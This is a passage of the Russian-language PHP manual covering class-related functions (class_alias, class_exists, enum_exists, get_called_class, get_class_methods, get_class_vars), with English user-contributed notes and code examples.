echo foo::$count; // Output: 1

echo get_class(new Bar); // Output: foo
?>
Note in the last line there that aliases are just as case-insensitive as "genuine" class names.
sofe2038 at gmail dot com 07-Jan-2017 04:06
Doesn't work with coupled classes when used along with autoloading.

For example, in these classes where each class is autoloaded in a separate class file:

Foo.php:

<?php
interface Foo{
  public function fx(Bar $bar);
}
?>

Bar2.php:

<?php
class Bar2 implements Foo{
  public function fx(Bar2 $bar){
    // some implementation code here
  }
}
?>

Bar.php:

<?php
class_alias("Bar2", "Bar");
?>

When used with an autoloader like this:

<?php
spl_autoload_register(function($class){
  require($class . ".php");
});
new Bar;
?>

Results in fatal error:

    Declaration of Bar2::fx(Bar2 $bar) must be compatible with Foo::fx(Bar $bar) in ~/Bar2.php on line 2
sofe2038 at gmail dot com 07-Jan-2017 04:06
Doesn't work with coupled classes when used along with autoloading.

For example, in these classes where each class is autoloaded in a separate class file:

Foo.php:

<?php
interface Foo{
  public function fx(Bar $bar);
}
?>

Bar2.php:

<?php
class Bar2 implements Foo{
  public function fx(Bar2 $bar){
    // some implementation code here
  }
}
?>

Bar.php:

<?php
class_alias("Bar2", "Bar");
?>

When used with an autoloader like this:

<?php
spl_autoload_register(function($class){
  require($class . ".php");
});
new Bar;
?>

Results in fatal error:

    Declaration of Bar2::fx(Bar2 $bar) must be compatible with Foo::fx(Bar $bar) in ~/Bar2.php on line 2
robsonvnasc at gmail dot com 22-Sep-2016 03:30
It also works with Traits!

<?php
trait Foo {}
class_alias("Foo","Bar");
echo trait_exists("Bar") ? 'yes' : 'no';
?>
//yes
stanislav dot eckert at vizson dot de 14-Sep-2015 07:00
class_alias() creates aliases only for user defined classes, not for classes supplied by PHP (PHP will show the warning "First argument of class_alias() must be a name of user defined class"). To create aliases for every kind of classes, use namespaces:

<?php

// Does not work
class_alias("ZipArchive", "myZip");

// Creates class alias "myZip" of class "ZipArchive"
use \ZipArchive as myZip;

?>
petar dot karan dot pk at gmail dot com 06-Feb-2014 02:19
If you need the same function in PHP version < 5.3 you can use this

<?php
function class_alias($original,$alias) {
    $newclass = create_function('','class '.$alias.' extends '.$original.' {}');
    $newclass();
}
?>
mweierophinney at gmail dot com 06-Mar-2013 02:05
class_alias() gives you the ability to do conditional imports.

Whereas the following will not work:

<?php
namespace Component;

if (version_compare(PHP_VERSION, '5.4.0', 'gte')) {
    use My\ArrayObject;
} else {
    use ArrayObject;
}

class Container extends ArrayObject
{
}
?>

the following, using class_alias, will:

<?php
namespace Component;

if (version_compare(PHP_VERSION, '5.4.0', 'lt')) {
    class_alias('My\ArrayObject', 'Component\ArrayObject');
} else {
    class_alias('ArrayObject', 'Component\ArrayObject');
}

class Container extends ArrayObject
{
}
?>

The semantics are slightly different (I'm now indicating that Container extends from an ArrayObject implementation in the same namespace), but the overall idea is the same: conditional imports.
sergey dot karavay at gmail dot com 25-Feb-2013 11:08
At first, you might wonder that:
<?php class A {}; class_alias('A', 'B'); ?>

is equivalent to:
<?php class A {}; class B extends A {}; ?>

class_alias is NOT equivalent to class extending! Private methods/properties are unseen in child classes, but in alias classes they are.
Anonymous 12-Feb-2013 05:42
Like class_alias but for functions:

<?php
function function_alias ($original, $alias) {

  $args = func_get_args();
  assert('count($args) == 2', 'function_alias() require exactly two arguments');
  assert('is_string($original) && is_string($alias)', 'function_alias() require string arguments');

  // valid function name - http://php.net/manual/en/functions.user-defined.php
  assert('preg_match(\'/^[a-zA-Z_\x7f-\xff][\\\\\\\\a-zA-Z0-9_\x7f-\xff]*$/\', $original) > 0',
    "'$original' is not a valid function name");
  assert('preg_match(\'/^[a-zA-Z_\x7f-\xff][\\\\\\\\a-zA-Z0-9_\x7f-\xff]*$/\', $alias) > 0',
    "'$alias' is not a valid function name");

  $aliasNamespace = substr($alias, 0, strrpos($alias, '\\') !== false ? strrpos($alias, '\\') : 0);
  $aliasName = substr($alias, strrpos($alias, '\\') !== false ? strrpos($alias, '\\') + 1 : 0);
  $serializedOriginal = var_export($original, true);

  eval("
    namespace $aliasNamespace {
      function $aliasName () {
        return call_user_func_array($serializedOriginal, func_get_args());
      }
    }
  ");

}

?>

Until hopefully function_alias is added to php...
adam at adamhahn dot com 06-Sep-2011 12:13
Something to note,

If the $original class has not yet been defined or loaded, the auto loader will be invoked in order to try and load it.

If the class for which you are trying to create an alias does not exist, or can not be loaded with the auto loader, you will generate a PHP Warning.
programmer-comfreek at hotmail dot com 15-Aug-2011 09:38
If you defined the class 'original' in a namespace, you will have to specify the namespace(s), too:
<?php
namespace ns1\ns2\ns3;

class A {}

class_alias('ns1\ns2\ns3\A', 'B');
/* or if you want B to exist in ns1\ns2\ns3 */
class_alias('ns1\ns2\ns3\A', 'ns1\ns2\ns3\B');
?>
nicolas dot grekas+php at gmail dot com 31-Dec-2010 01:09
At first, you might wonder that:
<?php class A {}; class_alias('A', 'B'); ?>

is equivalent to:
<?php class A {}; class B extends A {}; ?>

BUT when derivation creates a new class name - that means, you can then instantiate a new kind of objects - aliasing is just what it says: a synonym, so objects instantiated with the aliased name are of the exact same kind of objects instantiated with the non-aliased name.

See this code for example:
<?php
class A {};
class B1 extends A {};
class_alias('A', 'B2');

$b1 = new B1; echo get_class($b1); // prints B1
$b2 = new B2; echo get_class($b2); // prints A !
?>
nicolas dot grekas+php at gmail dot com 30-Dec-2010 02:41
class_alias also works for interfaces!

<?php
interface foo {}
class_alias('foo', 'bar');
echo interface_exists('bar') ? 'yes!' : 'no'; // prints yes!
?>


Проверяет, объявили ли класс

  • « class_alias
  • enum_exists »
  • PHP Manual
  • Функции работы с классами и объектами
  • Проверяет, объявили ли класс

class_exists

(PHP 4, PHP 5, PHP 7, PHP 8)

class_exists — Проверяет, объявили ли класс

Описание

class_exists(string $class, bool $autoload = true): bool

Функция проверяет, объявили ли класс.

Список параметров

class

Имя класса. Воспринимается без учёта регистра.

autoload

Нужно ли автоматически подгружать класс, если класс ещё не загрузили.

Возвращаемые значения

Функция возвращает true, если класс class объявили, иначе false.

Примеры

Пример #1 Пример использования функции class_exists()

<?php

// Проверяем существование класса прежде чем создать экземпляр объекта
if (class_exists('MyClass')) {
$myclass = new MyClass();
}

?>

Пример #2 Пример использования c параметром autoload

<?php

spl_autoload_register(function ($class_name) {
include $class_name . '.php';

// Проверяем, объявило ли класс выражение include
if (!class_exists($class_name, false)) {
throw new LogicException("Unable to load class: $class_name");
}
});

if (class_exists(MyClass::class)) {
$myclass = new MyClass();
}

?>

Смотрите также

  • function_exists() - Возвращает true, если указанная функция определена
  • enum_exists() - Проверяет, определили ли перечисление
  • interface_exists() - Проверяет, определён ли интерфейс
  • get_declared_classes() - Возвращает массив с именами объявленных классов

User Contributed Notes

info at ensostudio dot ru 16-Sep-2020 06:54
Note: class_exists() check only classes!
<?php
interface DemoInterface {};
var_dump(class_exists('DemoInterface')); // false
trait DemoTrait {};
var_dump(class_exists('DemoTrait')); // false
class DemoClass {};
var_dump(class_exists('DemoClass')); // true
?>

Common function:
<?php
/**
  * Checks if the class/trait/interface has been defined.
  *
  * @param string $name The case-insensitive name of class/trait/interface
  * @param bool $autoload Whether to call spl_autoload()
  * @return bool
  */
function structure_exists(string $name, bool $autoload = true): bool
{
       return class_exists($name, $autoload)
              || interface_exists($name, $autoload)
              || trait_exists($name, $autoload);
}
?>
rn at alpha9marketing dot com 06-Apr-2014 05:55
Beware: class_exists is case-INsensitive, as is class instantiation.

php > var_dump(class_exists("DomNode"));
bool(true)
php > var_dump(class_exists("DOMNode"));
bool(true)
php > var_dump(class_exists("DOMNodE"));
bool(true)
php > $x = new DOMNOdE();
php > var_dump(get_class($x));
string(7) "DOMNode"

(tested with PHP 5.5.10 on Linux)

This can cause some headaches in correlating class names to file names, especially on a case-sensitive file system.
spam at wikicms dot org 09-Dec-2013 02:43
Hi guys!
Be careful  and don't forget about second boolean argument $autoload (TRUE by default) when check exists class after spl_autoload_register. Propose short example
file second.php
<?php
class Second {}
?>
file index.php
<?php
class First
{
    function first($class, $bool) {
        spl_autoload_register( function($class) {
            require strtolower($class) . '.php';
        });
        echo class_exists($class, $bool)?'Exist!!!!':'Not exist!';
    }
}

new First($class = 'Second', $bool = true); //Exist!!!!
new First($class = 'Second', $bool = false); //Not exist!
?>
Because __autoload executing much earlier than boolean returned, imho..
giunta dot gaetano at gmail dot com 31-Oct-2013 05:28
If you are using aliasing to import namespaced classes, take care that class_exists will not work using the short, aliased class name - apparently whenever a class name is used as string, only the full-namespace version can be used

use a\namespaced\classname as coolclass;

class_exists( 'coolclass' ) => false
toocoolone at gmail dot com 14-Feb-2012 06:47
I'm running PHP 5.3.4 on Windows 7 and had some difficulty autoloading classes using class_exists(). In my case, when I checked for the class and it didn't exist, class_exists automatically threw a system Exception. I was also throwing my own exception resulting in an uncaught exception.

<?php
/**
 * Set my include path here
 */
$include_path = array( '/include/this/dir', '/include/this/one/too' );
set_include_path( $include_path );
spl_autoload_register();
/**
 * Assuming I have my own custom exception handler (MyException) let's
 * try to see if a file exists.
 */
try {
    if( ! file_exists( 'myfile.php' ) ) {
        throw new MyException('Doh!');
    }
    include( 'myfile.php' );
}
catch( MyException $e ) {
    echo $e->getMessage();
}
/**
 * The above code either includes myfile.php or throws the new MyException
 * as expected. No problem right? The same should be true of class_exists(),
 * right? So then...
 */
$classname = 'NonExistentClass';
try {
    if( ! class_exists( $classname ) ) {
        throw new MyException('Double Doh!');
    }
    $var = new $classname();
}
catch( MyException $e ) {
    echo $e->getMessage();
}
/**
* Should throw a new instance of MyException. But instead I get an
* uncaught LogicException blah blah blah for the default Exception
* class AND MyException. I only catch MyException so we've got on
* uncaught resulting in the dreaded LogicException error.
*/
?>

By registering an additional autoload handler function that did nothing, I was able to stop throwing the extra Exception and only throw my own.

<?php
/**
 * Set my include path here
 */
$include_path = array( '/include/this/dir', '/include/this/one/too' );
set_include_path( $include_path );
spl_autoload_register();
spl_autoload_register( 'myAutoLoad' ); // Add these two and no worries...
function myAutoLoad() {}
/**
 * By registering the additional custom autoload function that does nothing
 * class_exists() returns only boolean and does NOT throw an uncaught Exception
 */
?>

Found this buried in some search results. I don't remember the page URL but if it would have been here it might have saved me some time!
Klaus 28-Apr-2010 04:21
If you recursively load several classes inside an autoload function (or mix manual loading and autoloading), be aware that class_exists() (as well as get_declared_classes()) does not know about classes previously loaded during the *current* autoload invocation.

Apparently, the internal list of declared classes is only updated after the autoload function is completed.
azrael dot com at gmail dot com 11-Dec-2008 04:14
If spl_autoload_register() had been called, then function will try autoload class if it does not exists.

Use instead
<?php
in_array($class_name, get_declared_classes());
?>
richard at richard-sumilang dot com 27-Mar-2008 12:56
[ >= PHP 5.3]

If you are checking if a class exists that is in a specific namespace then you have to pass in the full path to the class:

echo (class_exists("com::richardsumilang::common::MyClass")) ? "Yes" : "No";
anonymous at somewhere dot tld 17-Jul-2003 12:20
If you have a directory of classes you want to create. (Modules in my instance)... you can do it like that

<?php
if (is_dir($this->MODULE_PATH) && $dh = opendir($this->MODULE_PATH)) {
   while (($file = readdir($dh)) !== false) {
      if (preg_match("/(Mod[a-zA-Z0-9]+).php/", $file, $matches)>0) {
         // include and create the class
         require_once($this->MODULE_PATH."/".$file);
         $modules[] = new $matches[1]();
      }
   }
} else {
   exit;
}
?>

//---
Here the rule is that all modules are on the form
ModModulename.php and that the class has the same name as the file.
The $modules array has all the classes initialized after this code


Проверяет, определили ли перечисление

  • « class_exists
  • get_called_class »
  • PHP Manual
  • Функции работы с классами и объектами
  • Проверяет, определили ли перечисление

enum_exists

(PHP 8 >= 8.1.0)

enum_exists — Проверяет, определили ли перечисление

Описание

enum_exists(string $enum, bool $autoload = true): bool

Функция проверяет, определили ли заданное перечисление.

Список параметров

enum

Имя перечисления. Имя сопоставляется без учёта регистра.

autoload

Нужно ли автоматически загружать класс, если класс ещё не загрузили.

Возвращаемые значения

Функция возвращает true, если перечисление enum определили, иначе false.

Примеры

Пример #1 Пример использования функции enum_exists()

<?php

// Прежде чем пытаться использовать перечисление, убедимся, что перечисление существует
if (enum_exists(Suit::class)) {
$myclass = Suit::Hearts;
}

?>

Смотрите также

  • function_exists() - Возвращает true, если указанная функция определена
  • class_exists() - Проверяет, объявили ли класс
  • interface_exists() - Проверяет, определён ли интерфейс
  • get_declared_classes() - Возвращает массив с именами объявленных классов

User Contributed Notes

There are no user contributed notes for this page.


Получает имя класса через позднее статическое связывание

  • « enum_exists
  • get_class_methods »
  • PHP Manual
  • Функции работы с классами и объектами
  • Получает имя класса через позднее статическое связывание

get_called_class

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

get_called_class — Получает имя класса через позднее статическое связывание

Описание

get_called_class(): string

Функция получает имя класса, из которого вызвали статический метод.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция возвращает имя класса.

Ошибки

Если функцию get_called_class() вызывали не из класса, выбрасывается исключение Error. До версии PHP 8.0.0 функция выдавала ошибку уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Теперь вызов функции не из класса выбрасывает исключение Error. Раньше функция выдавала ошибку уровня E_WARNING и возвращала значение false.

Примеры

Пример #1 Пример использования функции get_called_class()

<?php

class foo
{
static public function test()
{
var_dump(get_called_class());
}
}

class bar extends foo {}

foo::test();
bar::test();

?>

Результат выполнения приведённого примера:

string(3) "foo"
string(3) "bar"

Смотрите также

  • get_parent_class() - Получает имя родительского класса для объекта или класса
  • get_class() - Возвращает имя класса, которому принадлежит объект
  • is_subclass_of() - Проверяет, принадлежит ли объект к потомкам класса, или реализует ли объект или родители объекта интерфейс

User Contributed Notes

amcolin at 126 dot com 24-Mar-2020 07:08
namespace root;
class Factor {
    protected static $instance = null;

    private function __construct() {

    }

    public static function getInstance() {
        if (!self::$instance) {
            $name           = get_called_class();
            self::$instance = new $name();
        }

        return self::$instance;
    }
}

namespace admin\test;

use root\Factor;

class Single extends Factor {
    public function abc() {
        return 'abc';
    }
}

namespace index;

use admin\test\Single;

class Index {
    public function get() {
        return Single::getInstance();
    }
}

$index = new Index();
var_dump($index->get());

The result is:

object(admin\test\Single)#2 (0) {
}
fantomx1 at gmail dot com 12-Sep-2017 03:57
When calling dynamic method statically in php 5.6 (under 7) it allows it, but it doesnt work, it incorrectly evaluates class that called our subject class, therefore containing method must be static.
Safak Ozpinar 24-Sep-2014 07:00
As of PHP 5.5 you can also use "static::class" to get the name of the called class.

<?php
class Bar {
    public static function test() {
        var_dump(static::class);
    }
}

class Foo extends Bar {

}

Foo::test();
Bar::test();
?>

Output:

string(3) "Foo"
string(3) "Bar"
luc at s dot illi dot be 05-Feb-2013 03:09
get_called_class() in closure-scopes:

<?PHP
    ABSTRACT CLASS Base
    {
        protected static $stub = ['baz'];

        //final public function boot()
        static public function boot()
        {
            print __METHOD__.'-> '.get_called_class().PHP_EOL;

            array_walk(static::$stub, function()
            {
                print __METHOD__.'-> '.get_called_class().PHP_EOL;
            });
        }

        public function __construct()
        {
            self::boot();
            print __METHOD__.'-> '.get_called_class().PHP_EOL;

            array_walk(static::$stub, function()
            {
                print __METHOD__.'-> '.get_called_class().PHP_EOL;
            });
        }
    }

    CLASS Sub EXTENDS Base
    {
    }

    // static boot
        Base::boot(); print PHP_EOL;
            // Base::boot        -> Base
            // Base::{closure}    -> Base

        Sub::boot(); print PHP_EOL;
            // Base::boot        -> Sub
            // Base::{closure}    -> Base

        new sub;
            // Base::boot        -> Sub
            // Base::{closure}    -> Base
            // Base->__construct    -> Sub
            // Base->{closure}    -> Sub

    // instance boot
        new sub;
            // Base->boot        -> Sub
            // Base->{closure}    -> Sub
            // Base->__construct    -> Sub
            // Base->{closure}    -> Sub
?>
uebele 06-Apr-2011 09:14
SEE: http://php.net/manual/en/language.oop5.late-static-bindings.php

I think it is worth mentioning on this page, that many uses of the value returned by get_called_function() could be handled with the new use of the old keyword static, as in
<?php
static::$foo;
?>

versus
<?php
$that=get_called_class();
$that::$foo;
?>

I had been using $that:: as my conventional replacement for self:: until my googling landed me the url above.  I have replaced all uses of $that with static with success both as
<?php
static::$foo; //and...
new static();
?>

Since static:: is listed with the limitation: "Another difference is that static:: can only refer to static properties." one may still need to use a $that:: to call static functions; though I have not yet needed this semantic.
Abhi Beckert 28-Oct-2009 08:41
Beware that this does not behave as expected if your method is not declared as static! For example:

<?php

class foo {
  static public function test() {
    var_dump(get_called_class());
  }

  public function testTwo() {
    var_dump(get_called_class());
  }
}

class bar extends foo {
}

class abc {
  function test() {
    foo::test();
    bar::test();
  }

  function testTwo() {
    foo::testTwo();
    bar::testTwo();
  }
}

echo "basic\n";
foo::test();
bar::test();

echo "basic without static declaration\n";
foo::testTwo();
bar::testTwo();

echo "in a class\n";
$abc = new abc();
$abc->test();

echo "in a class without static declaration\n";
$abc->testTwo();

?>

The result is:

basic
string 'foo'
string 'bar'

basic without static declaration
string 'foo'
string 'bar'

in a class
string 'foo'
string 'bar'

in a class without static declaration
string 'abc'
string 'abc'
php at itronic dot at 07-Aug-2009 06:53
If you call a static getInstance() function to create a instance of a class from another class, this function have to be static, if it is not static the original name of the caller class and not of the current class get returned.

example:

<?php

class a {
  function getXName() {
     return x::getClassName();
  }
  function getXStaticName() {
     return x::getStaticClassName();
  }

}

class b extends a {
}

class x {
  public function getClassName() {
    return get_called_class();
  }
  public static function getStaticClassName() {
    return get_called_class();
  }
}

$a = new a();

$b = new b();

echo $a->getXName(); // will return "a"
echo $b->getXName(); // will return "b"

echo $a->getXStaticName(); // will return "x"
echo $b->getXStaticName(); // will return "x"

?>
a dot cudbard-bell at sussex dot ac dot uk 21-Feb-2009 10:03
Here's a simple way of getting the inheritance tree of a class, no matter which class the function was actually defined in. Will work as a static function method too.

<?php
class A {
    public function get_class_tree(){
        $cur_class = get_called_class();
        do {
            echo $cur_class;
        }
        while($cur_class = get_parent_class($cur_class));
    }
}

class B {

}

class C {

}

$foo = new C();
$foo->get_class_tree();

?>

CBA
danbettles at yahoo dot co dot uk 08-Oct-2008 12:00
It is possible to write a completely self-contained Singleton base class in PHP 5.3 using get_called_class.

<?php

abstract class Singleton {

    protected function __construct() {
    }

    final public static function getInstance() {
        static $aoInstance = array();

        $calledClassName = get_called_class();

        if (! isset ($aoInstance[$calledClassName])) {
            $aoInstance[$calledClassName] = new $calledClassName();
        }

        return $aoInstance[$calledClassName];
    }

    final private function __clone() {
    }
}

class DatabaseConnection extends Singleton {

    protected $connection;

    protected function __construct() {
        // @todo Connect to the database
    }

    public function __destruct() {
        // @todo Drop the connection to the database
    }
}

$oDbConn = new DatabaseConnection();  // Fatal error

$oDbConn = DatabaseConnection::getInstance();  // Returns single instance
?>


Возвращает массив имён методов класса

  • « get_called_class
  • get_class_vars »
  • PHP Manual
  • Функции работы с классами и объектами
  • Возвращает массив имён методов класса

get_class_methods

(PHP 4, PHP 5, PHP 7, PHP 8)

get_class_methods — Возвращает массив имён методов класса

Описание

get_class_methods(object|string $object_or_class): array

Функция возвращает массив, который содержит имена методов класса.

Список параметров

object_or_class

Имя класса или объект

Возвращаемые значения

Функция возвращает массив имён методов, которые объявили в классе object_or_class.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр object_or_class принимает только объекты или корректные имена классов.

Примеры

Пример #1 Пример использования функции get_class_methods()

<?php

class myclass
{
// Конструктор
function __construct()
{
return(true);
}

// Метод 1
function myfunc1()
{
return(true);
}

// Метод 2
function myfunc2()
{
return(true);
}
}

$class_methods = get_class_methods('myclass');
// или
$class_methods = get_class_methods(new myclass());

foreach ($class_methods as $method_name) {
echo "$method_name\n";
}

?>

Результат выполнения приведённого примера:

__construct
myfunc1
myfunc2

Смотрите также

  • get_class() - Возвращает имя класса, которому принадлежит объект
  • get_class_vars() - Получает свойства класса, которые объявили по умолчанию
  • get_object_vars() - Возвращает свойства указанного объекта

User Contributed Notes

iarias at loyalia dot es 21-Feb-2018 12:19
If you only need the methods declared by the class, and not the parent classes ones, you can do something like:

$declared_methods = array_diff(get_class_methods($class), get_class_methods(get_parent_class($class)));
polarglow06 at gmail dot com 18-Nov-2015 06:09
I have created a very simple test runner using this function

function get_bar($text) {
    $bar = "";
    for($i=1; $i<=strlen($text); $i++) {
        $bar .= "=";
    }
    return $bar;
}
class Tester {
    function __construct() {
        $this->run_tests();
    }
    // run the tests
    function run_tests() {
        print("Tester by Minhajul Anwar \n");
        $class = get_class($this);
        $test_methods = preg_grep('/^test/', get_class_methods($this));
        foreach($test_methods as $method) {
            $start_rep = "test: $class::$method";
            $bar = get_bar($start_rep);
            print("\n$start_rep\n$bar\n");
            $this->$method();
            print("\n");
        }
    }
}

now you just need to write your test class with tegst methods prefixed by 'test', and then just instantiate object of that test class of your, all those tests methods will get run automatically
The drawback is: your test methods must not accept any arguments

an example:
require '../autoload.php';
register_autoload_paths(realpath('./'));

class Test_Test extends Tester {
    function test_something() {
        print("method got executed");
    }
    function testAnotherThing() {
    print("another test method");
    }
}

$Test = new Test_Test();
fschmengler at sgh-it dot eu 08-Jan-2010 04:40
It should be noted that the returned methods are dependant on the current scope. See this example:

<?php
class C
{
    private function privateMethod()
    {

    }
    public function publicMethod()
    {

    }
    public function __construct()
    {
        echo '$this:';
        var_dump(get_class_methods($this));
        echo 'C (inside class):';
        var_dump(get_class_methods('C'));
    }
}
$c = new C;
echo '$c:';
var_dump(get_class_methods($c));
echo 'C (outside class):';
var_dump(get_class_methods('C'));
?>

Output:

$this:
array
  0 => string 'privateMethod' (length=13)
  1 => string 'publicMethod' (length=12)
  2 => string '__construct' (length=11)

C (inside class):
array
  0 => string 'privateMethod' (length=13)
  1 => string 'publicMethod' (length=12)
  2 => string '__construct' (length=11)

$c:
array
  0 => string 'publicMethod' (length=12)
  1 => string '__construct' (length=11)

C (outside class):
array
  0 => string 'publicMethod' (length=12)
  1 => string '__construct' (length=11)
php at stock-consulting dot com 06-Feb-2007 02:40
Note that this function will answer both class AND instance methods ("class methods" are called "static" in PHP). Sort of a little "trap" for people who have in-depth experience with the OO terminology :-)
BoD 15-Mar-2006 07:09
!Concerning PHP5 Only!

If you want to get all methods/functions from a class you can do this with the get_class_methods function.
<?php
    $arrMethodNames = get_class_methods ( $ClassNameOrObject);
?>
However the drawback on this function in PHP5 is that you will NOT receive protected and private methods of a class/object if you are calling the method from another class/object context.

If you want to receive all methods of a given Class in another Class you should use the PHP5 Reflection API. The following source allows to retrieve all methods from a derived class in its (abstract) Base Class.

In the example you need to call the base constructor from the derived classes constructor in order to let the base class know the name of the derived class. Use the "__CLASS__" definition for passing the classname of current class to its base class.

<?php

    // Base Class - Abstract
    abstract class A {

        // Array of ReflectionMethod Objects
        // is being set upon instanciation
        // derived Classes don't need to know about this array
        private $arrMethods;

        // Constructor which MUST be called from derived Class Constructor
        protected function __construct ( $strDerivedClassName ) {
            $oRefl = new ReflectionClass ( $strDerivedClassName );
            if ( is_object($oRefl) ) {
                $this->arrMethods = $oRefl->getMethods();
            }
        }

        // Some abstract function
        abstract protected function D ();

        // Some private function
        private function E() {
        }

        // method to print all class/object methods
        // must be callable from derived classes
        // can be protected if only for internal class use
        public function PrintAllMethods () {
            foreach ( $this->arrMethods as $curReflectionMethod ) {
                echo $curReflectionMethod->getName()."<br>";
            }
        }
    }

    // Derived Class
    class B extends A {

        // Constructor for this class
        // MUST call Base Constructor
        public function __construct () {
            // Call Base Constructor
            parent::__construct(__CLASS__);
        }

        // Some public function
        public function A () {
        }

        // some protected function
        protected function B () {
        }

        // some private function
        private function C() {
        }

        // some abstract method from base class implemented
        protected function D () {
        }
    }

    // Create new B Object
    $b = new B();
    // Print all Methods of this Object/Class
    $b->PrintAllMethods();
?>

In this example output will be:

__construct
A
B
C
D
E
PrintAllMethods

As you can see these are all methods from class B and also all methods from Class A respectivly in order of their declaration. Note that only one method "__construct" and only one method "D" are being shown. This is due to overloading (__construct) and implementing (D) in PHP.

In this example any further method-handling methods should be implemented in the base class as these will be available in derived classes as well. Just make sure that you use the right access specifiers for these additional methods ( private, protected, public )

BoD
jazepstein at greenash dot net dot au 16-Oct-2005 06:37
In PHP4, this function converts its return values to lowercase; but in PHP5, it leaves the return values in their original case. This can cause serious problems when trying to write code that dynamically calls a class method, and that works in both PHP4 and PHP5. This code snippet shows one way of achieving compatibility with both versions:

<?php
// Example variables - these would be dynamic in a real application.
$className = 'SomeClass';
$methodName= 'someMethod';
$args = array('arg1', 'arg2');

// Use array_map() and strtolower() to make all values returned by get_class_methods() lowercase. PHP4 does this anyway - now it will happen regardless of the PHP version being used.
$classMethods = array_map(strtolower, get_class_methods($className));

// in_array() can only handle being given an array.
if (!$classMethods) {
  $classMethods = array();
}

if (in_array(strtolower($methodName), $classMethods)) {
  // call some method
  return call_user_func_array(array($className, $methodName), $args);
}
?>
Oli Filth 11-Apr-2005 08:21
As an extension to onesimus's code below for finding inherited methods, in PHP 5 you can use the Reflection API to find which of these are overriden.

e.g.

<?php
function get_overriden_methods($class)
{
    $rClass = new ReflectionClass($class);
    $array = NULL;

    foreach ($rClass->getMethods() as $rMethod)
    {
        try
        {
            // attempt to find method in parent class
            new ReflectionMethod($rClass->getParentClass()->getName(),
                                $rMethod->getName());
            // check whether method is explicitly defined in this class
            if ($rMethod->getDeclaringClass()->getName()
                == $rClass->getName())
            {
                // if so, then it is overriden, so add to array
                $array[] .=  $rMethod->getName();
            }
        }
        catch (exception $e)
        {    /* was not in parent class! */    }
    }

    return $array;
}
?>
kabatak 20-Feb-2005 05:11
In PHP4, if you need to get_class_methods in their original case. You can use this simple function I created.

// Note: this function assumes that you only have 1 class in 1 file

$file = "path/to/myclass.php"

function file_get_class_methods ($file)
{
    $arr = file($file);
    foreach ($arr as $line)
    {
        if (ereg ('function ([_A-Za-z0-9]+)', $line, $regs))
            $arr_methods[] = $regs[1];
    }
    return $arr_methods;
}
epowell at removethis dot visi dot com 11-Oct-2004 08:47
I've figured out how to get around my issue described below, using the Reflection API.

<?
/* Pass the name of the class, not a declared handler */
function get_public_methods($className) {
    /* Init the return array */
    $returnArray = array();

    /* Iterate through each method in the class */
    foreach (get_class_methods($className) as $method) {

        /* Get a reflection object for the class method */
        $reflect = new ReflectionMethod($className, $method);

        /* For private, use isPrivate().  For protected, use isProtected() */
        /* See the Reflection API documentation for more definitions */
        if($reflect->isPublic()) {
            /* The method is one we're looking for, push it onto the return array */
            array_push($returnArray,$method);
        }
    }

    /* return the array to the caller */
    return $returnArray;
}
?>
onesimus at cox dot net 19-Jun-2004 02:32
This function will return only the methods for the object you indicate. It will strip out the inherited methods.

function get_this_class_methods($class){
    $array1 = get_class_methods($class);
    if($parent_class = get_parent_class($class)){
        $array2 = get_class_methods($parent_class);
        $array3 = array_diff($array1, $array2);
    }else{
        $array3 = $array1;
    }
    return($array3);
}
gk at proliberty dot com 01-Jun-2003 04:16
It is important to note that get_class_methods($class) returns not only methods defined by $class but also the inherited methods.

There does not appear to be any PHP function to determine which methods are inherited and which are defined explicitly by a class.
aldo at cerca dot com 21-Apr-2002 10:18
If you use "get_class_methods" to check if a Method is in a Class remember that the function return lowered name of class methods:

class classPippo
{
        function DummyFunct()
        {
                // Do nothing...
        }
}

$aClassMethods = get_class_methods(classPippo);

$sMethodName = 'DummyFunct';

// This not work...

        if (in_array($sMethodName, $aClassMethods))
        classPippo::DummyFunct();

// This work...

        if (in_array(strtolower($sMethodName), $aClassMethods))
        classPippo::DummyFunct();
matt at zevi dot net 21-Mar-2002 04:46
Win32 only:

It's probably worth noting here that you can't get the methods of an object created by the built-in 'COM' class. ie - this won't work:

$word = new COM('Word.Application');
$methods = get_class_methods(get_class($word));
print_r($methods);

Matt


Получает свойства класса, которые объявили по умолчанию

  • « get_class_methods
  • get_class »
  • PHP Manual
  • Функции работы с классами и объектами
  • Получает свойства класса, которые объявили по умолчанию

get_class_vars

(PHP 4, PHP 5, PHP 7, PHP 8)

get_class_vars — Получает свойства класса, которые объявили по умолчанию

Описание

get_class_vars(string $class): array

Функция возвращает свойства заданного класса, которые объявили по умолчанию.

Список параметров

class

Имя класса

Возвращаемые значения

Функция возвращает ассоциативный массив свойств класса со значениями, которые объявили по умолчанию и которые видны в области видимости вызова функции. Функция выводит элементы массива с результатами в следующем виде: varname => value. Функция возвращает false, если возникла ошибка.

Примеры

Пример #1 Пример использования функции get_class_vars()

<?php

class myclass
{
var $var1; // У переменной нет начального значения...
var $var2 = "xyz";
var $var3 = 100;
private $var4;

// Конструктор
function __construct()
{
// Изменим значения отдельных свойств
$this->var1 = "foo";
$this->var2 = "bar";
return true;
}
}

$my_class = new myclass();

$class_vars = get_class_vars(get_class($my_class));

foreach ($class_vars as $name => $value) {
echo "$name : $value\n";
}

?>

Результат выполнения приведённого примера:

var1 :
var2 : xyz
var3 : 100

Пример #2 Пример поведения функции get_class_vars() в разных областях видимости

<?php

function format($array)
{
return implode('|', array_keys($array)) . "\r\n";
}

class TestCase
{
public $a = 1;
protected $b = 2;
private $c = 3;

public static function expose()
{
echo format(get_class_vars(__CLASS__));
}
}

TestCase::expose();
echo format(get_class_vars('TestCase'));

?>

Результат выполнения приведённого примера:

// 5.0.0
a| * b| TestCase c
a| * b| TestCase c

// 5.0.1 - 5.0.2
a|b|c
a|b|c

// 5.0.3 +
a|b|c
a

Смотрите также

  • get_class_methods() - Возвращает массив имён методов класса
  • get_object_vars() - Возвращает свойства указанного объекта

User Contributed Notes

flobee 16-Nov-2015 12:43
<?php
class someClass {
    public function toArray() {
        $records = array();

        foreach( $this as $key => $value ) {
                $records[$key] = $value;
        }

        return $records;
    }

}
?>
bof at bof dot de 09-Sep-2012 07:02
I needed to get only the class static variables, leaving out instance variables.

<?php
function get_static_vars($class) {
    $result = array();
    foreach (get_class_vars($class) as $name => $default)
        if (isset($class::$$name))
            $result[$name] = $default;
    return $result;
}
?>

That function returns only the public ones. The same pattern can be used inside a class, then it returns private and protected static variables, too:

<?php
